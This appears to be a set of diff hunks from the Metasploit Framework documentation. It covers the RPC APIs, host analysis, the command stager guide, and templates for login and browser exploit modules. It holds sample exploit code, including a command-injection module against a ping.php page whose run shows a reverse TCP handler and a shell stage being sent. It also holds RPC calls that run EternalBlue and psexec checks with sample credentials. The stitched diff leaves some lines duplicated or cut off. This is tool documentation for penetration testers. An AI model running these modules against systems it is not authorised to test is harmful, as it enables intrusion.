"error": "The connection with (192.168.123.13:443) timed out."
},
"id": 1
}
```
Example success response:
```json
{
"jsonrpc": "2.0",
"result": {
"status": "completed",
"result": {
"code": "vulnerable",
"message": "The target is vulnerable.",
"reason": null,
"details": {
"os": "Windows 7 Enterprise 7601 Service Pack 1",
"arch": "x64"
}
}
},
"id": 1
}
```
#### acknowledge module results
This command will also allow Metasploit to remove the result resources from memory. Not acknowledging module results will lead to a memory leak,
but the memory is limited to 35mb as the memory datastore used is implemented by [`ActiveSupport::Cache::MemoryStore`](https://github.com/rapid7/metasploit-framework/pull/13036/files#diff-6e31832215e40b17a184a7f7b82d2aabfbaa8d98fabb3c43033dd8579ad3caaeR102)
Request:
```
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "module.ack",
"id": 1,
"params": ["nRQw0bEvhFcXF0AxtVYOpQku"]
}'
```
Response:
```json
{
"jsonrpc": "2.0",
"result": {
"success": true
},
"id": 1
}
```
### Analyzing hosts workflow
Metasploit supports an `analyze` command which suggests modules to run based on what a user has already learned and stored about a host.
First report a host:
```bash
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "db.report_host",
"id": 1,
"params": [
{
"workspace": "default",
"host": "10.0.0.1",
"state": "alive",
"os_name": "Windows",
"os_flavor": "Enterprize",
"os_sp": "SP2",
"os_lang": "English",
"arch": "ARCH_X86",
"mac": "97-42-51-F2-A7-A7",
"scope": "eth2",
"virtual_host": "VMWare"
}
]
}'
# response: {"jsonrpc":"2.0","result":{"result":"success"},"id":1}
```
Report the host vulnerabilities:
```bash
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "db.report_vuln",
"id": 1,
"params": [
{
"workspace": "default",
"host": "10.0.0.1",
"name": "Exploit Name",
"info": "Human readable description of the vuln",
"refs": [
"CVE-2017-0143",
"CVE-2017-0144",
"CVE-2017-0145",
"CVE-2017-0146",
"CVE-2017-0147",
"CVE-2017-0148"
]
}
]
}'
# response: {"jsonrpc":"2.0","result":{"result":"success"},"id":1}
```
Run the analyze command:
```
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "db.analyze_host",
"id": 1,
"params": [
{
"workspace": "default",
"host": "10.0.0.1"
}
]
}'
```
Response:
```json
{
"jsonrpc": "2.0",
"result": {
"host": {
"address": "10.0.0.1",
"modules": [
{
"mtype": "exploit",
"mname": "exploit/windows/smb/ms17_010_eternalblue",
"state": "READY_FOR_TEST",
"description": "ready for testing",
"options": {
"invalid": [],
"missing": []
}
}
]
}
},
"id": 1
}
```
When analyzing a host, it is also possible to specify payload requirements for additional granularity:
```
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "db.analyze_host",
"id": 1,
"params": [
{
"workspace": "default",
"host": "10.0.0.1",
"payload": "payload/cmd/unix/reverse_bash"
}
]
}'
```
@@ -0,0 +1,201 @@
The RPC API enables you to programmatically drive the Metasploit Framework and commercial products using HTTP-based remote procedure call (RPC) services. An RPC service is a collection of message types and remote methods that provide a structured way for external applications to interact with web applications. You can use the RPC interface to locally or remotely execute Metasploit commands to perform basic tasks like running modules, communicating with the database, interacting with sessions, exporting data, and generating reports.
The Metasploit products are written primarily in Ruby, which is the easiest way to use the remote API. However, in addition to Ruby, any language with support for HTTPS and MessagePack, such as Python, Java, and C, can be used to take advantage of the RPC API.
There are currently two implementations of Metasploit's RPC:
- HTTP and messagepack - covered by this guide
- HTTP and JSON - covered by a separate guide
Note that both the messagepack and JSON RPC services provide very similar operations, and it is worth reviewing both documents.
## Starting the messagepack RPC Server
Before you can use the RPC interface, you must start the RPC server. There are a couple of ways that you can start the server depending on the Metasploit product you are using. For this example we will use the MSFRPD Login Utility, but other methods can be found [here](https://docs.rapid7.com/metasploit/rpc-api).
Use the follow command setting a username and password, current example uses `user` and `pass` retrospectively:
```
$ ruby msfrpcd -U <username> -P <pass> -f
```
## Connecting with the MSFRPC Login Utility
The msfrpc login utility enables you to connect to the RPC server through msfrpcd. If you started the server using the msfrpcd tool, `cd` into your framework directory, if you're a Framework user, or the `metasploit/apps/pro/msf3` directory if you are a Pro user, and run the following command to connect to the server:
```
$ ruby msfrpc -U <username> -P <pass> -a <ip address>
```
You can provide the following options:
- `-P <opt>` - The password to access msfrpcd.
- `-S` - Enables or disables SSL on the RPC socket. Set this value to true or false. SSL is on by default.
- `-U <opt>` - The username to access msfrpcd.
- `-a <opt>` - The address msfrpcd runs on.
- `-p <opt>` - The port the msfrpc listens on. The default port is 55553.
For example, if you want to connect to the local server, you can enter the following command:
```
$ ruby msfrpc -U user -P pass123 -a 127.0.0.1
```
Which returns the following response:
```
[*] exec: ruby msfrpc -U user -P pass123 -a 127.0.0.1
[*] The 'rpc' object holds the RPC client interface
[*] Use rpc.call('group.command') to make RPC calls
```
## RPC Workflow examples
### Start the server
Use the following command to run the server with a configured uesrname and password:
```
$ ruby msfrpcd -U user -P pass -f
```
### Start the client in second terminal tab
Use the username and password set in the previous command to access the client:
```
# Start the client in second terminal tab
$ ruby msfrpc -U user -P pass -a 0.0.0.0
```
An interactive prompt will open:
```
[*] The 'rpc' object holds the RPC client interface
[*] Use rpc.call('group.command') to make RPC calls
```
### Commands
Before looking at commands, we will list the options that can be pass into RPC calls:
```
--rpc-host HOST
--rpc-port PORT
--rpc-ssl <true|false>
--rpc-uri URI
--rpc-user USERNAME
--rpc-pass PASSWORD
--rpc-token TOKEN
--rpc-config CONFIG-FILE
--rpc-help
```
#### Auxiliary module example
To execute the `scanner/smb/smb_enumshares` module:
```
>> rpc.call("module.execute", "auxiliary", "scanner/smb/smb_enumshares", {"RHOSTS" => "192.168.175.135", "SMBUSER" => "Administrator", "SMBPASS" => "Password1"})
=> {"job_id"=>0, "uuid"=>"yJWES2Y6d4MRyfFLWjqhqvon"}
```
Note that the result returns the `job_id` and `uuid` - which can be used for tracking the module's progress.
The arguments supplied are:
- `"module.execute"` - The method you want to call against the module
- `"auxiliary"` - the module type
- `"scanner/smb/smb_enumshares"` - The specific module you want to run
- `{"RHOSTS" => "192.168.175.135", "SMBUSER" => "Administrator", "SMBPASS" => "Password1"}` - The module's datastore options
Query all running stats with:
```
>> rpc.call('module.running_stats')
=> {"waiting"=>[], "running"=>[], "results"=>["yJWES2Y6d4MRyfFLWjqhqvon"]}
```
Note that the output contains the previous `uuid`, which has now been marked as completed.
To view the module results for a given `UUID`:
```
>> rpc.call('module.results', 'yJWES2Y6d4MRyfFLWjqhqvon')
=> {"status"=>"completed", "result"=>nil}
```
#### Listing current jobs/sessions
To list the current jobs:
```
>> rpc.call('job.list')
=> {"0"=>"Exploit: windows/smb/ms17_010_psexec"}
```
To list the current sessions:
```
>> rpc.call('session.list')
=>
{1=>
{"type"=>"meterpreter",
"tunnel_local"=>"192.168.8.125:4444",
"tunnel_peer"=>"192.168.8.125:63504",
"via_exploit"=>"exploit/windows/smb/psexec",
"via_payload"=>"payload/windows/meterpreter/reverse_tcp",
"desc"=>"Meterpreter",
"info"=>"NT AUTHORITY\\SYSTEM @ DC1",
"workspace"=>"false",
"session_host"=>"192.168.175.135",
"session_port"=>445,
"target_host"=>"192.168.175.135",
"username"=>"cgranleese",
"uuid"=>"hqtjjwgx",
"exploit_uuid"=>"hldyog8j",
"routes"=>"",
"arch"=>"x86",
"platform"=>"windows"}}
```
#### Killing sessions
To stop an active session use the `session.stop` command and pass the session ID. To find the session ID you can use the `session.list` command.
```
rpc.call('session.stop', 1)
```
### Example workflows
Let's look at a some workflows using the commands we discussed above for a complete workflow.
#### Auxiliary module workflow
```
[*] The 'rpc' object holds the RPC client interface
[*] Use rpc.call('group.command') to make RPC calls
>> rpc.call("module.execute", "auxiliary", "scanner/smb/smb_enumshares", {"RHOSTS" => "xxx.xxx.xxx.xxx", "SMBUSER" => "user", "SMBPASS" => "password"})
=> {"job_id"=>0, "uuid"=>"yJWES2Y6d4MRyfFLWjqhqvon"}
>> rpc.call('module.running_stats')
=> {"waiting"=>[], "running"=>[], "results"=>["yJWES2Y6d4MRyfFLWjqhqvon"]}
>> rpc.call('module.results', 'yJWES2Y6d4MRyfFLWjqhqvon')
=> {"status"=>"completed", "result"=>nil}
```
#### Exploit module workflow
This workflow makes use of the `module.check` method to check if the target is vulnerable to the module's exploit:
```
[*] The 'rpc' object holds the RPC client interface
[*] Use rpc.call('group.command') to make RPC calls
>> rpc.call("module.check", "exploit", "windows/smb/ms17_010_psexec", {"RHOSTS" => xxx.xxx.xxx.xxx", "SMBUSER" => "user", "SMBPASS" => "password"})
=> {"job_id"=>0, "uuid"=>"q3eewYtM3LqxuVN5ai1Wya3i"}
>> rpc.call('module.running_stats')
=> {"waiting"=>[], "running"=>[], "results"=>["q3eewYtM3LqxuVN5ai1Wya3i"]}
>> rpc.call('module.results', 'q3eewYtM3LqxuVN5ai1Wya3i')
=> {"status"=>"completed", "result"=>{"code"=>"vulnerable", "message"=>"The target is vulnerable.", "reason"=>nil, "details"=>{"os"=>"Windows 8.1 9600", "arch"=>"x64"}}}
```
The `module.result` calls shows that the target is vulnerable, and additional metadata about the target has been returned.
@@ -1,5 +1,5 @@
# How to use Msf::Auxiliary::AuthBrute to write a bruteforcer
The ```Msf::Auxiliary::AuthBrute``` mixin should no longer be used to write a login module, you should try our [LoginScanner API](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners) instead. However, some of the datastore options are still needed, so let's go over them right quick.
The ```Msf::Auxiliary::AuthBrute``` mixin should no longer be used to write a login module, you should try our [[LoginScanner API|./Creating-Metasploit-Framework-LoginScanners.md]] instead. However, some of the datastore options are still needed, so let's go over them right quick.
### Regular options
@@ -53,6 +53,6 @@ Check out the other advanced options in the API documentation below.
### References
- <https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Powershell.html>
- <https://docs.metasploit.com/api/Msf/Exploit/Powershell.html>
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/powershell.rb>
- <https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/powershell/powerdump.ps1>
@@ -6,7 +6,7 @@ In this documentation, understand that we require you no exploit development kno
Each Metasploit module comes with some metadata that explains what it's about, and to see that you must load it first. An example:
```
```msf
msf > use exploit/windows/smb/ms08_067_netapi
```
@@ -20,11 +20,11 @@ This may sound surprising, but sometimes we get asked questions that are already
* **Which ones have been tested**: When a module is developed, usually the exploit isn't tested against every single setup if there are too many. Usually the developers will just try to test whatever they can get their hands on. So if your target isn't mentioned here, keep in mind there is no guarantee it's going to work 100%. The safest thing to do is to actually recreate the environment your target has, and test the exploit before hitting the real thing.
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [check command](How-to-write-a-check-method.md), because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [[check command|How-to-write-a-check-method.md]], because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
You can use the info command to see the module's description:
```
```msf
msf exploit(ms08_067_netapi) > info
```
@@ -36,13 +36,13 @@ If the exploit supports automatic targeting, it is always the first item on the
The "show options" command will tell you which target is selected. For example:
```
```msf
msf exploit(ms08_067_netapi) > show options
```
The "show targets" command will give you a list of targets supported:
```
```msf
msf exploit(ms08_067_netapi) > show targets
```
@@ -50,13 +50,13 @@ msf exploit(ms08_067_netapi) > show targets
All Metasploit modules come with most datastore options pre-configured. However, they may not be suitable for the particular setup you're testing. To do a quick double-check, usually the "show options" command is enough:
```
```msf
msf exploit(ms08_067_netapi) > show options
```
However, "show options" only shows you all the basic options. It does not show you the evasive or advanced options (try "show evasion" and "show advanced"), the command you should use that shows you all the datastore options is actually the "set" command:
```
```msf
msf exploit(ms08_067_netapi) > set
```
@@ -1,4 +1,6 @@
Command stagers provide an easy way to write exploits against typical vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection). There are currently 14 different flavors of command stagers, each uses system command (or commands) to save your payload, sometimes decode, and execute.
If youve found a way to execute a command on a target, and youd like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection) and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.
The hardest part about command stagers is understanding how much they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
# The Vulnerability Test Case
@@ -85,7 +87,7 @@ An example of setting flavors for a specific target:
]
```
Or, you can pass this info to the `execute_cmdstager` method (see Call #execute_cmdstager to begin).
Or, you can pass this info to the `execute_cmdstager` method (see Step 4 to begin).
```ruby
execute_cmdstager(flavor: :vbs)
@@ -96,11 +98,62 @@ However, it is best to set the compatible list of flavors in `CmdStagerFlavor`,
**3. Create the execute_command method**
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is what gets called by the CmdStager mixin when it kicks in. Your objective in this method is to inject whatever is in the ```cmd``` variable to the vulnerable code.
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that
**4. Call #execute_cmdstager to begin**
**4. Decide on the supported payloads**
And lastly, in your exploit method, call ```execute_cmdstager``` to begin the command stager.
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
The best way to let the user decide what kind of payload to use is by defining separate [[targets|Get-Started-Writing-an-Exploit.md]]
Here is an example targets section from a command injection module:
```
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
'RPORT' => 9000
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
```
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk and can just be launched at the command line. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64`. These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a dropper because the file must be dropped to the disk before it can be executed. In each of the targets above, weve selected a default payload we know will work.
**4. Executing a payload**
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to upload, save, and execute your payload, then uses the ```execute_command``` method you defined earlier to run them on the target.
Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call ```execute_command```.
This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the ```exploit``` method will become if you have properly defined your targets as discussed in step 3:
```ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
```
Thats it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the _already_ _encoded_ payload. You dont need to worry about encoding the payload in your ```execute_command``` method.
If the user has selected a binary payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out how to save the file to disk and launch it based on the flavor you set earlier.
Over the years, we have also learned that these options are quite handy when calling
`execute_cmdstager`:
@@ -119,22 +172,26 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Command Injection Using CmdStager",
'Description' => %q{
This exploits a command injection using the command stager.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => { 'BadChars' => "\x00" },
'CmdStagerFlavor' => [ 'printf' ],
'Privileged' => false,
'DisclosureDate' => "2016-06-10",
'DefaultTarget' => 0))
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Command Injection Using CmdStager',
'Description' => %q{
This exploits a command injection using the command stager.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => { 'BadChars' => "\x00" },
'CmdStagerFlavor' => [ 'printf' ],
'Privileged' => false,
'DisclosureDate' => '2016-06-10',
'DefaultTarget' => 0
)
)
end
def execute_command(cmd, opts = {})
@@ -142,7 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
print_status("Exploiting...")
print_status('Exploiting...')
execute_cmdstager
end
@@ -158,7 +215,7 @@ Now let's modify the `execute_command` method and get code execution against the
127.0.0.1+%26%26+[Malicious commands]
```
We do that in `execute_command` using [HttpClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient). Notice there is actually some bad character filtering involved to get the exploit working correctly, which is expected:
We do that in `execute_command` using [[HttpClient|./How-to-Send-an-HTTP-Request-Using-HttpClient.md]]. Notice there is actually some bad character filtering involved to get the exploit working correctly, which is expected:
```ruby
def filter_bad_chars(cmd)
@@ -167,19 +224,21 @@ def filter_bad_chars(cmd)
cmd.gsub!(/ /, '+')
end
def execute_command(cmd, opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => '/ping.php',
'encode_params' => false,
'vars_get' => {
'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}"
def execute_command(cmd, _opts = {})
send_request_cgi(
{
'method' => 'GET',
'uri' => '/ping.php',
'encode_params' => false,
'vars_get' => {
'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}"
}
}
})
)
end
def exploit
print_status("Exploiting...")
print_status('Exploiting...')
execute_cmdstager
end
```
@@ -187,10 +246,10 @@ end
And let's run that, we should have a shell:
```
```msf
msf exploit(cmdstager_demo) > run
[*] Started reverse TCP handler on 10.6.0.92:4444
[*] Started reverse TCP handler on 10.6.0.92:4444
[*] Exploiting...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 10.6.0.92
@@ -223,7 +282,7 @@ Available flavors:
The [VBS command stager](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/vbs.rb) is for Windows. What this does is it encodes our payload with Base64, save it on the target machine, also writes a [VBS script](https://github.com/rapid7/rex-exploitation/blob/master/data/exploits/cmdstager/vbs_b64) using the echo command, and then lets the VBS script to decode the Base64 payload, and execute it.
If you are exploiting Windows that supports Powershell, then you might want to [consider using that instead](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit) of the VBS stager, because Powershell tends to be more stealthy.
If you are exploiting Windows that supports Powershell, then you might want to [[consider using that instead|./How-to-use-Powershell-in-an-exploit.md]] of the VBS stager, because Powershell tends to be more stealthy.
To use the VBS stager, either specify your CmdStagerFlavor in the metadata:
@@ -21,7 +21,7 @@ option, which can be set by using the `setg` command. Module-level means only th
remembers that datastore option, no other components will know about it. You are setting a module-level option if you
load a module first, and then use the `set` command, like the following:
```
```msf
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set rhost 10.0.1.3
rhost => 10.0.1.3
@@ -238,34 +238,34 @@ from the module's metadata, and update again.
Here's an example of an exploit module's initialize portion with the DefaultOptions key:
```ruby
def initialize(info={})
super(update_info(info,
'Name' => "Module name",
'Description' => %q{
This is an example of setting the default value of RPORT using the DefaultOptions key
},
'License' => MSF_LICENSE,
'Author' => [ 'Name' ],
'References' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Module name',
'Description' => %q{
This is an example of setting the default value of RPORT using the DefaultOptions key
},
'License' => MSF_LICENSE,
'Author' => [ 'Name' ],
'References' => [
[ 'URL', '' ]
],
'Platform' => 'win',
'Targets' =>
[
'Platform' => 'win',
'Targets' => [
[ 'Windows', { 'Ret' => 0x41414141 } ]
],
'Payload' =>
{
'Payload' => {
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'DefaultOptions' => {
'RPORT' => 8080
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
'Privileged' => false,
'DisclosureDate' => '',
'DefaultTarget' => 0
)
)
end
```
@@ -27,13 +27,14 @@ OPTIONS:
-c Clear the contents of the favorite modules file
-d Delete module(s) or the current active module from the favorite modules file
-h Help banner
-l Print the list of favorite modules (alias for `show favorites`)
```
The second method of adding favorites allows adding multiple modules at once:
```shell
```msf
msf6 > favorite exploit/multi/handler exploit/windows/smb/psexec
[+] Added exploit/multi/handler to the favorite modules file
[+] Added exploit/windows/smb/psexec to the favorite modules file
@@ -72,7 +73,7 @@ msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec
#### Clearing the favorites list
```shell
```msf
msf6 > show favorites
Favorites
@@ -89,3 +90,18 @@ msf6 > show favorites
[!] The favorite modules file is empty
```
### Printing the list of favorite modules
The list of favorite modules can be printed by supplying the `-l` flag. This is an alias for the `show favorites` and `favorites` commands.
```shell
msf6 > favorite -l
Favorites
=========
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/handler manual No Generic Payload Handler
1 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution
```
@@ -351,7 +351,7 @@ end
The module will start the http server and print the repo to clone
```
```msf
msf6 > use exploit/multi/http/git_clone_test
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/git_clone_test) > set srvport 9999
@@ -23,7 +23,7 @@ When the mixin is included, notice there will be the following datastore options
* **TCP::max_send_size** - Evasive option. Maxiumum TCP segment size.
* **TCP::send_delay** - Evasive option. Delays inserted before every send.
If you wish to learn how to change the default value of a datastore option, please read "[Changing the default value for a datastore option](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-datastore-options#changing-the-default-value-for-a-datastore-option)"
If you wish to learn how to change the default value of a datastore option, please read "[[Changing the default value for a datastore option|./How-to-use-datastore-options.md]]"
## Make a connection
@@ -1,6 +1,6 @@
This is a step-by-step guide on how to write a HTTP login module using the latest LoginScanner and Credential APIs.
Before we begin, it's probably a good idea to read [Creating Metasploit Framework LoginScanners](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners), which explains about the APIs in-depth. The LoginScanner API can be found in the [lib/metasploit/framework/loginscanner](https://github.com/rapid7/metasploit-framework/tree/master/lib/metasploit/framework/login_scanner) directory, and the Credential API can found as a [metasploit-credential gem here](https://github.com/rapid7/metasploit-credential). You will most likely want to read them while writing the login module.
Before we begin, it's probably a good idea to read [[Creating Metasploit Framework LoginScanners|./Creating-Metasploit-Framework-LoginScanners.md]], which explains about the APIs in-depth. The LoginScanner API can be found in the [lib/metasploit/framework/loginscanner](https://github.com/rapid7/metasploit-framework/tree/master/lib/metasploit/framework/login_scanner) directory, and the Credential API can found as a [metasploit-credential gem here](https://github.com/rapid7/metasploit-credential). You will most likely want to read them while writing the login module.
## Step 1: Set up your target environment
@@ -245,7 +245,6 @@ A basic auxiliary module template in our case would be something like this:
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/symantec_web_gateway'
require 'metasploit/framework/credential_collection'
@@ -256,21 +255,23 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Symantec Web Gateway Login Utility',
'Description' => %q{
This module will attempt to authenticate to a Symantec Web Gateway.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true,
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Symantec Web Gateway Login Utility',
'Description' => %q{
This module will attempt to authenticate to a Symantec Web Gateway.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'SSLVersion' => 'TLS1'
}
))
)
)
end
def run_host(ip)
@@ -382,7 +383,7 @@ And finally, make sure your module actually works.
Test for a successful login:
```
```msf
msf auxiliary(symantec_web_gateway_login) > run
[+] 192.168.1.176:443 SYMANTEC_WEB_GATEWAY - Success: 'sinn3r:GoodPassword'
@@ -393,7 +394,7 @@ msf auxiliary(symantec_web_gateway_login) >
Test for a failed login:
```
```msf
msf auxiliary(symantec_web_gateway_login) > run
[-] 192.168.1.176:443 SYMANTEC_WEB_GATEWAY - Failed: 'sinn3r:BadPass'
@@ -1,8 +1,8 @@
The Metasploit Framework provides different mixins you can use to develop a browser exploit, mainly they are:
* **[Msf::Exploit::Remote::HttpServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-HttpServer)** - The most basic form of a HTTP server.
* **[[Msf::Exploit::Remote::HttpServer|./How-to-write-a-browser-exploit-using-HttpServer.md]]** - The most basic form of a HTTP server.
* **[Msf::Exploit::Remote::HttpServer::HTML](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http_server/html.rb)** - which provides Javascript functions that the module can use when crafting HTML contents.
* **[Msf::Exploit::Remote::BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer)** - which includes features from both HttpServer and HttpServer::HTML, but with even more goodies. This writeup covers the [BrowserExploitServer](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/msf/core/exploit/remote/browser_exploit_server.rb) mixin.
* **[[Msf::Exploit::Remote::BrowserExploitServer|./How-to-write-a-browser-exploit-using-BrowserExploitServer.md]]** - which includes features from both HttpServer and HttpServer::HTML, but with even more goodies. This writeup covers the [BrowserExploitServer](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/msf/core/exploit/remote/browser_exploit_server.rb) mixin.
### The Automatic Exploitation Procedure
@@ -139,7 +139,7 @@ def on_request_exploit(cli, request, target_info)
</html>
|
send_exploit_html(cli, html)
end
end
```
[ERB](http://ruby-doc.org/stdlib-2.1.3/libdoc/erb/rdoc/ERB.html) is a new way to write Metasploit browser exploits. If you've written one or two web applications, this is no stranger to you. When you're using the BrowserExploitServer mixin to write an exploit, what really happens is you're writing a rails template. Here's an example of using of this feature:
@@ -198,69 +198,68 @@ To get thing started, here's a code example you can use start developing your br
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "BrowserExploitServer Example",
'Description' => %q{
This is an example of building a browser exploit using the BrowserExploitServer mixin
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BrowserExploitServer Example',
'Description' => %q{
This is an example of building a browser exploit using the BrowserExploitServer mixin
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' => [
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
'Platform' => 'win',
'BrowserRequirements' => {
source: /script|headers/i
},
'Targets' =>
[
'Targets' => [
[ 'Automatic', {} ],
[
'Windows XP with IE 8',
{
'os_name' => 'Windows XP',
'ua_name' => 'MSIE',
'ua_ver' => '8.0'
'os_name' => 'Windows XP',
'ua_name' => 'MSIE',
'ua_ver' => '8.0'
}
],
[
'Windows 7 with IE 9',
{
'os_name' => 'Windows 7',
'ua_name' => 'MSIE',
'ua_ver' => '9.0'
'os_name' => 'Windows 7',
'ua_name' => 'MSIE',
'ua_ver' => '9.0'
}
]
],
'Payload' => { 'BadChars' => "\x00" },
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
'Payload' => { 'BadChars' => "\x00" },
'DisclosureDate' => '2013-04-01',
'DefaultTarget' => 0
)
)
end
def exploit_template(target_info)
template = %Q|
template = %(
Data source: <%=target_info[:source]%><br>
OS name: <%=target_info[:os_name]%><br>
UA name: <%=target_info[:ua_name]%><br>
